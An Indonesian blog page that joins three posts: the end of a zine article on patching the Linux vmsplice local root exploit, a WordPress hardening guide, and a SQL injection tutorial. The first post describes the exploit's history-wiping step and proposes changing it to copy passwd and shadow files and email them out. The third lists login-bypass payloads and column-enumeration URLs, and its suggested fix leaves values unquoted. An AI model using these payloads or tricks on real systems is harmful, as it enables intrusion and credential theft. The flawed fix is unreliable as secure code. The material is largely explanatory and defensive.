||—————————————————————————–

Kemudian lakukan patch terhadap file splice.c, dengan merubah baris ke 1221 untuk

memperbaiki fungsi Sanity Check.

–splice.c Ln 1221 ———————————————————-

if (unlikely(!base))

—————————————————————————–

lalu menggantikannya dengan

–splice.c Ln 1221 ———————————————————-

if (!access_ok(VERIFY_READ, base, len))

—————————————————————————–

atau jalankan file patch berikut ini dengan command patch

||—————————————————————————–

devil@neverland /usr/src/linux ~ $sudo patch < vmsplice.patch -p1

||—————————————————————————–

adapun isi file vmsplice.patch [3]

——- vmsplice.patch ——————————————————

— a/fs/splice.c

+++ b/fs/splice.c

@@ -1234,7 +1234,7 @@ static int get_iovec_page_array(const struct iovec __user *iov,

if (unlikely(!len))

break;

error = -EFAULT;

- if (unlikely(!base))

+ if (!access_ok(VERIFY_READ, base, len))

break;

/*

——- vmsplice.patch ——————————————————

Setelah itu kompile ulang kernel milik anda,

||—————————————————————————–

devil@neverland /usr/src/linux ~ $sudo make oldconfig && make clean && make && make modules_install

devil@neverland /usr/src/linux ~ $sudo mount /boot && make install

dan edit bootloader untuk menunjuk ke kernel baru anda.

||—————————————————————————–

Atau untuk lebih mudahnya anda bisa menggunakan genkernel untuk melakukan kompilasi

kernel anda dan mengkonfigurasikan “grub bootloader”

||—————————————————————————–

devil@neverland /usr/src/linux ~ $sudo genkernel –oldconfig –bootloader=grub all

||—————————————————————————–

Lalu, booting ulang mesin anda dan gunakan kernel yang sudah anda patch.

Sekarang kita coba untuk melakukan eksploitasi ulang terhadap sistem

||—————————————————————————–

devil@neverland ~/pentest/exploits/minex $ ./localexp

———————————–

Linux vmsplice Local Root Exploit

By qaaz

———————————–

[+] mmap: 0×0 .. 0×1000

[+] page: 0×0

[+] page: 0×20

[+] mmap: 0×4000 .. 0×5000

[+] page: 0×4000

[+] page: 0×4020

[+] mmap: 0×1000 .. 0×2000

[+] page: 0×1000

[+] mmap: 0xb7d82000 .. 0xb7db4000

[-] vmsplice: Bad address

||—————————————————————————–

[ Pojokan ]

Hal terpenting dari hacking bukanlah hasil akhir, tetapi proses

hacking itu sendiri (pembelajarannya). Sebagai contohnya, saat menelaah exploit

kita mengetahui bahwa pembuat telah menambahkan satu langkah “covering track”

sehingga kita tidak perlu melakukan “export HISTFILE=/dev/null” setelah berhasil

melakukan exploitasi,

———— localexp.c ln 184 —————

putenv(“HISTFILE=/dev/null”);

———— localexp.c ———————-

bahkan kita bisa memodifikasi exploit tersebut (sebagai gambaran

menyalin file “passwd” dan “shadow” dan melakukan pengiriman email, karena

terkadang kepemilikan akun/info lebih berharga dari sekedar memiliki mesin)

[ Penutup ]

“moral story”: jangan meremehkan condition checking!!!

Mungkin artikel ini tidaklah sempurna, tetapi semoga intinya dapat dipahami

oleh kita semua, banyak artikel lain yang menjelaskan secara detil tentang bug dan

proses eksploitasinya. Silahkan teman-teman perdalam sendiri.

[ Referensi ]

[1] vmsplice && splice manual

[2] kernel bug

[3] kernel patch – http://git.kernel.org/

[4] “vmsplice local root exploit”, http://www.milw0rm.com/exploits/5092

[5] Strace vmsplice local exploit output process

[6] “Howd you got pwned (bagaimana system anda terkuasai)” – y3dips – http://e-rdc.org

[7] “Strace untuk analisa eksekusi” – anonymous-co-ed – echo|zine vol 4 issue 15

[8] http://lwn.net/Articles/268783/

[9] http://lwn.net/Articles/268783/

[ Shoutz ]

- “Ana” – keep faith on us

- the_day, az001, k-159, hero, bherly, the_hydra, anonymous, and all staff – “Go go Rangers …”

- jmgvd, electrojunkies, hyponemesis, waraxe, str0ke

- all echo members

- all Indonesian underground ppl

*- $e18dot004dottxt – echo|zine – issue#18 – 280308 -*

Referensi : Utuh Wibowo

0
Mengamankan Blog CMS Wordpress Dari Serangan Hacker

Kali ini G-Sonic akan memberikan sedikit ilmu bagaimana caranya mengamankan blog dari serangan orang orang yang tidak bertanggung jawab atau dari orang yang kurang kerjaan. Tutorial ini dikhususkan untuk anda yang menggunakan hosting berbayar. Tidak sedikit orang yang membuat blog di hosting berbayar dengan membuat blog menggunakan script CMS Wordpress, yang blognya terkena deface atau mengubah tampilan blog menjadi hancur berantakan. Di sarankan di dalam menginstall script CMS wordpress JANGAN PERNAH menginstall secara instan, biasanya script di install ke dalam hosting secara otomatis/instan lebih rentan keamanannya. Secara instan disini maksudnya seperti anda menggunakan fasilitas softaculous yang ada di control panel CPANEL hosting untuk menginstall script wordpress ke dalam hosting.


Lebih amannya anda sebaiknya menginstall script wordpress dengan cara manual dan mendownload file script nya langsung ke situs pembuatnya melalu link dibawah ini.

http://wordpress.org/download/

Setelah anda download , anda buat file database terlebih dahulu di dalam control panel hosting. Setelah membuat file database beserta username dan password database, maka langkah selanjutnya anda buka file script wordpress yang terkompress .zip atau .gzip . Anda extrack file wordpress yang terkompress itu ke dalam harddisk anda lalu anda buka file wp-config-sample.php dengan menggunakan notepad saja. Lalu anda masukkan konfigurasi dari nama database, username dan password database yang telah anda buat di control panel hosting. Setelah selesai, anda simpan file wp-config-sample.php tadi dengan nama file baru dengan nama filenya wp-config.php . Setelah tersimpan file wp-config.php, anda delete file wp-config-sample.php.

Untuk memasukkan isian dibawah ini, anda bisa mendapatkan key unik melalui link https://api.wordpress.org/secret-key/1.1/

define(?AUTH_KEY?, ?put your unique phrase here?);

define(?SECURE_AUTH_KEY?, ?put your unique phrase here?);

define(?LOGGED_IN_KEY?, ?put your unique phrase here?);

define(?NONCE_KEY?, ?put your unique phrase here?);

Sebagai contoh setelah saya membuka link https://api.wordpress.org/secret-key/1.1/, maka saya mendapatkan key unique.

Karena key unique diatas sebagai contoh saja, tentu saja kalau anda membuka link https://api.wordpress.org/secret-key/1.1/ ini akan mendapatkan key unique yang berbeda dari contoh diatas.

Untuk lebih amannya lagi sebaiknya nama table prefix standar dari wordpress anda rubah, defaultnya seperti ini

$table_prefix = ?wp_?;

bisa anda rubah misalkan menjadi

$table_prefix = ?PE97_?;

silahkan anda rubah sesuai keinginan anda.

Setelah langkah diatas selesai di lakukan anda bisa upload keseluruhan script wordpress ke dalam hosting anda, bisa menggunakan file manager atau bisa juga menggunakan FTP client. Cara cepat bagi saya menggunakan file manager yang ada di control panel hosting, anda kompress terlebih dahulu semua file script wordpress menjadi .zip lalu anda upload file .zip itu menggunakan file manager yang ada di cpanel, lalu anda extrack file .zip tadi.

Langkah langkah diatas merupakan cara cara yang lebih aman di dalam menginstall script cms wordpress, yang script cms wordpress ini berguna untuk membuat blog pribadi atau blog komersil.

Apabila anda telah memiliki blog yang telah jadi, langkah berikut adalah cara mengamankan blog supaya lebih aman. Cara cara yang akan saya berikan ini adalah cara untuk meminimalkan dari serangan hacker atau serangan orang iseng terhadap blog milik anda.

Langkah Pertama adalah di dalam membuat password cpanel ataupun password database, termasuk membuat nama file dan username database SQL usahakan gabungan antara karakter huruf besar, huruf kecil, angka dan spesial karakter. Makin panjang karakter makin bagus. Jangan membuat nama file database, username database dan password database yang mudah di tebak oleh orang lain.

Langkah Kedua adalah username default ?admin? untuk masuk ke dashboard wordpress dirubah dengan username lain, bagusnya gabungan angka , huruf besar, huruf kecil. Makin panjang karakter username makin aman. Cara merubahnya anda bisa buka melalui link ini

http://namadomainanda.com/wp-admin/profile.php

Langkah Ketiga adalah Username / Author yang ingin di tampilkan di setiap postingan artikel di blog harus berbeda dengan username yang di pakai untuk masuk ke dashboard wordpress. Caranya merubah tampilan username di postingan blog sama yaitu di

http://namadomainanda.com/wp-admin/profile.php

Langkah ke empat adalah melindungi file wp-config.php dengan cara menambahkan kode dibawah ke dalam file .htaccess


order allow,deny

deny from all


Jangan lupa pula lindungin file .htaccess nya juga , caranya taruh kode dibawah di dalam .htaccess, taruhnya di posisi teratas.


order allow,deny

deny from all


Untuk pengguna hosting dengan control panel CPANEL, file .htaccess lokasinya ada di

/home/username/public_html

Langkah Ke lima adalah melindungi file wp-login.php, kalo di file manager bisa di lihat letaknya ada disini :

/home/username/public_html/wp-login.php

Cara melindunginya tambahkan kode dibawah ke dalam .htaccess


RewriteCond %{REQUEST_URI} wp-login.php

RewriteCond %{REMOTE_ADDR} !^XXX.XXX.XXX

RewriteRule .* http://www.namadomainanda.com/ [R,L]


^XXX.XXX.XXX <== isikan dengan alamat IP ISP yang di pakai

Karena alamat IP bawaan ISP selalu berubah maka oleh sebab itu di range alamat IP isp yang anda gunakan.

Langkah ke enam melindungi folder wp-admin dengan membuat file .htaccess baru yang lokasi folder ada di

/home/username/public_html/wp-admin/

Buat file .htaccess baru dengan memasukkan kode dibawah ini

Order deny,allow

Deny from All

Allow from xxx.xxx.xxx.xxx

setelah itu file .htaccess yang telah dibuat anda upload ke dalam folder wp-admin.

/home/username/public_html/wp-admin/

Langkah terakhir adalah dengan memasang plugin wordpress bernama Limit Login Attempts. Bisa anda download melalui link dibawah ini

http://wordpress.org/extend/plugins/limit-login-attempts/

Fungsi dari plugin wordpress Limit Login Attempts adalah memproteksi file wp-login.php agar ada pembatasan di dalam kesalahan memasukkan password. Maksudnya apabila ada orang lain yang mencoba membrute force atau menebak password salah berulang kali, maka alamat ip yang di gunakan akan di kunci. Dan tidak bisa memasukkan password lagi dalam rentang waktu yang telah di tentukan.

Plugin Limit Login Attempts ini sebagai antisipasi saja, apabila ada orang lain yang menggunakan alamat IP isp yang sama dengan alamat IP isp yang anda gunakan.

Bila anda ingin memakai plugin wordpress atau themes wordpress, usahakan anda selalu mendownload dari situs yang bisa di percaya, misalkan di situs wordpress.org. Dilihat apakah plugin wordpress yang ada di dalamnya ada review baik atau review buruk.

0
Cara Meminimalisir SQL Injection, RFI & LFI

SQLi/PHPi/RFI/LFI/XSS
Cara Meminimalisir SQL Injection, RFI & LFI

bahas mulai dari SQL,

SQL injection terjadi karena code yang tidak di filter dengan baik..
SQLi ada 2 type
1. bypass login.

kalo yg ini pasti sudah banyak yang tau...
kita tau bahwa beberapa cara untuk mem’by-pass’ login SQL, contohnya seperti:

+—————————–+
‘ or 1=1 –
a’ or 1=1 –
” or 1=1 –
a” or 1=1 –
‘ or 1=1 #
” or 1=1 #
or 1=1 –
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
“) or (“x”=”x
‘ or username LIKE ‘%admin%
+—————————–+
USERNAME: ‘ or 1/*
PASSWORD: */ =1 —
+—————————–+
USERNAME: admin’ or ‘a’=’a
PASSWORD: ‘#
+—————————–+



Kenapa bisa terjadi??
Mari kita liat code Login ASP.

Code:
var sql = “SELECT * FROM users WHERE username = ‘” + formusr + “‘ AND password =’” + formpwd + “‘”;

ketika kita memasukan login seperti ini:
formusr = admin
formpwd = ‘ or ‘1=’1
maka scripts akan membacanya seperti ini:

Code:
SELECT * FROM users WHERE username = ‘admin’ AND password = ” or ‘1’=’1’

dan ketika hal itu di execute, SQL akan menganggap login TRUE,
sehingga kita tidak memerlukan password admin.

bisa juga kita menambah user baru, kalo kita tahu table dan kolomnya...
bisa dengan cara Group atau having.. itu lanjut ke tipe yang ke 2

2. URL Sql injection
GROUP BY => perintah microsoft sql server digunakan untuk mengelompokkan output dari query sql tertentu.
HAVING => perintah yang digunakan untuk menentukan kondisi pencarian untuk kelompok.

ok dengan 2 command tersebut kita mencoba mengetahui table atau kolom dari target

misal:
Code:
http://www.target.com/news.php?id=1

kira-kira isi source code pagenya
Code:
SELECT * FROM news WHERE news_id='1'

ketika kita mengrequest page.php dengan cara

Code:
http://www.example.com/news.php?id=1' HAVING 1=1–

script akan menjalankan

Code:
SELECT * FROM news WHERE news_id=’1' HAVING 1=1–’

script akan menampilkan error

Code:
Microsoft OLE DB Provider for SQL Server error ‘80040e14?
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘news.news_id’ is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.

dari sana kita dapat mengetahui nama kolom news.news_id

kita bisa seacrh semua kolom dengan
Code:
http://www.example.com/page.php?id=1' GROUP BY news.news_id HAVING 1=1–'

sampai tidak terjadi error...

Patching...
ini bagian penting

setelah mencari, bertanya, semedi...
ternyata ada fungsi ==> mysql_real_escape_string();

contoh:
Code:
$username = mysql_real_escape_string($get_['value']);
$password = mysql_real_escape_string($get_['value']);

SELECT * FROM users WHERE username = $username AND password = $password

atau dengan url filter pake php script (lupa dapet dimana tapi ada di dokumen gw)
cuma angka saja yg bisa diinputkan di id_news:

Code:
if (!preg_match(“/^[0-9]+$/”, $id_news)){ echo “pesan anda“; exit; }

filter agar tidak ada nilai minus diinput id_news:

Code:
if ($id_news < 0){ echo "pesan anda“; exit; }

filter pembatasan length input pada id_news:

Code:
if (strlen($id_newst)>5){ echo “pesan anda“; exit; }

Ads 468x60px

I
 
. | © Copyright 2011 - 2013 by Lucky Preira | Supported by Universitas Satya Negara Indonesia & DX LabeLs